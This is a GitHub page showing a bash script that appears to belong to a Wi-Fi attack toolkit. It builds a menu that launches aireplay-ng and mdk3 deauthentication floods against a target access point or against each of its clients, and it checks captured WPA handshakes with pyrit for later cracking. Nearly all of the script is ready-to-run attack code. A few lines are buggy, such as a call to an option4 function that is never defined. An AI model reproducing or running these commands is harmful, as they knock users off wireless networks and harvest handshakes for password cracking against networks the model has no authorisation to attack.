-
Notifications
You must be signed in to change notification settings - Fork 4
/
lh2
212 lines (211 loc) · 4.94 KB
/
lh2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#! /bin/bash
#############DEFAULTS###############
#setting yellow-start
YS="\e[1;33m"
#setting color-end
CE="\e[0m"
#setting red-start
RS="\e[1;31m"
#setting frequent stings
YNYES="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=yes)"
YNNO="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=no)"
YNONLY="("$YS"y"$CE"/"$YS"n"$CE")"
PAKT="Press "$YS"any key$CE to"
PAKTC="Press "$YS"any key$CE to continue..."
PAKTGB="Press "$YS"any key$CE to go back..."
####################################
printf '\033]2;DEAUTH MENU\a'
k=1
REDEAUTH="n"
WLANNM=$(cat /root/lscript/wlanmon.txt)
export WLANNM
####################################
printf '\033]2;DEAUTH MENU\a'
REDEAUTH="n"
WLANNM=$(cat /root/lscript/wlanmon.txt)
export WLANNM
function option3
{
while true
do
#~ echo -e "Searching for clients"
if [[ ! -f "$HANDFORDEAUTH" ]]
then
echo -e ""$RS"Error 2"$CE""
sleep 2
break
fi
lines=$(cat $HANDFORDEAUTH | awk 'END{print NR}')
dlines=$((lines-6))
if [[ "$dlines" -le 0 ]]
then
echo -e ""$RS"No clients found (yet)."$CE""
sleep 2
break
fi
clear
echo -e "Found $dlines clients."
sleep 1
n=1
while [[ "$n" -le "$dlines" ]]
do
n1=$((5+n))
station[$n]=$(cat $HANDFORDEAUTH | awk -v nn="$n1" '{FS=","}{if(NR==nn)print $1}')
if [[ "$n" -ge 10 ]]
then
echo -e ""$YS""$n""$CE") "${station[$n]}""
else
echo -e ""$YS" "$n""$CE") "${station[$n]}""
fi
n=$((n+1))
done
echo -e ""$YS" a"$CE") Deauth all clients separately"
echo -e ""$YS" r"$CE") Refresh"
echo -e ""$YS" b"$CE") Go back"
echo -e "Choose: "
read STATION
if [[ "$STATION" = "r" ]]
then
clear
continue
fi
if [[ "$STATION" = "a" ]]
then
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read DEAUTHS
if [[ "$DEAUTHS" = "" ]]
then
DEAUTHS=0
fi
n=1
while [[ "$n" -le "$dlines" ]]
do
DSTATION="${station[$n]}"
export DEAUTHS
export TARGB
export DSTATION
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB -c $DSTATION $WLANNM && exit; exec bash' & disown
n=$((n+1))
done
fi
if [[ "$STATION" = "b" ]]
then
break
fi
if [[ "$STATION" -le "$dlines" && "$STATION" -ge 1 ]]
then
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read DEAUTHS
if [[ "$DEAUTHS" = "" ]]
then
DEAUTHS=0
fi
DSTATION="${station[$STATION]}"
export DEAUTHS
export TARGB
export DSTATION
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB -c $DSTATION $WLANNM && exit; exec bash' & disown
fi
done
}
function pyrit_hand_check
{
clear
echo -e "Checking handshake with pyrit..."
TEMP=$(pyrit -r "$HANDCAP" analyze 2>/dev/null)
TEMPHAND=$(echo "$TEMP" | grep "No valid EAOPL-handshake + ESSID detected.")
clear
if [[ "$TEMPHAND" = "" ]]
then
VALIDH=1
#TEMPHANDD=$(pyrit -r "$HANDCAP" analyze 2>/dev/null | grep "good")
TEMPHANDD=$(echo "$TEMP" | grep "good")
if [[ "$TEMPHANDD" = "" ]]
then
#TEMPHANDDD=$(pyrit -r "$HANDCAP" analyze 2>/dev/null | grep "bad")
TEMPHANDDD=$(echo $TEMP | grep "bad")
if [[ "TEMPHANDDD" = "" ]]
then
echo -e "Handshake found!(Status: "$RS"unknown"$CE")"
else
echo -e "Handshake found!(Status: "$RS"bad"$CE")"
fi
sleep 3
else
echo -e "Valid handshake found!(Status: "$YS"good"$CE")"
sleep 3
fi
else
VALIDH=0
echo -e ""$RS"No handshake found."$CE""
sleep 2
fi
}
while true
do
clear
echo -e ""$YS" 1"$CE") Deauth all aireplay-ng"
echo -e ""$YS" 2"$CE") Deauth all mdk3"
echo -e ""$YS" 3"$CE") Deauth client/s aireplay-ng"
if [[ "$HANDF" != "deauth" ]]
then
echo -e ""$YS" 4"$CE") Check handshake quality"
fi
if [[ "$LASTOPTIONS" != "" ]]
then
echo -e ""$YS"ENTER"$CE") Last option"
fi
echo -e ""$YS" 0"$CE") EXIT"
read DT
if [[ "$DT" = 1 ]]
then
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read -e DEAUTHS
if [[ -z "$DEAUTHS" ]]
then
DEAUTHS=0
fi
LASTOPTIONS="aireplay-ng -0 $DEAUTHS -a $TARGB $WLANNM"
export DEAUTHS
export TARGB
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB $WLANNM && exit; exec bash'
elif [[ "$DT" == 4 ]]
then
if [[ "$HANDF" != "deauth" ]]
then
pyrit_hand_check
fi
elif [[ "$DT" == "" ]]
then
if [[ "$HANDFORDEAUTH" != "" ]]
then
if [[ "$LASTOPTIONS" != "" ]]
then
if [[ "$LASTOPTIONS" = 1 ]]
then
option4
else
xterm -geometry 90x15+9999+999999 -e bash -c "$LASTOPTIONS; exec bash"
fi
fi
fi
sleep 2
elif [[ "$DT" = 2 ]]
then
echo "$TARGB" > /root/mdk3bssid.txt
LASTOPTIONS="mdk3 $WLANNM d -b /root/mdk3bssid.txt -c $TARGC"
export DEAUTHS
export TARGB
xterm -geometry 90x15+9999+999999 -e bash -c 'mdk3 $WLANNM d -b /root/mdk3bssid.txt -c $TARGC; exec bash'
elif [[ "$DT" = 3 ]]
then
option3
elif [[ "$DT" = 4 ]]
then
LASTOPTIONS=1
option4
elif [[ "$DT" = 0 ]]
then
exit
fi
done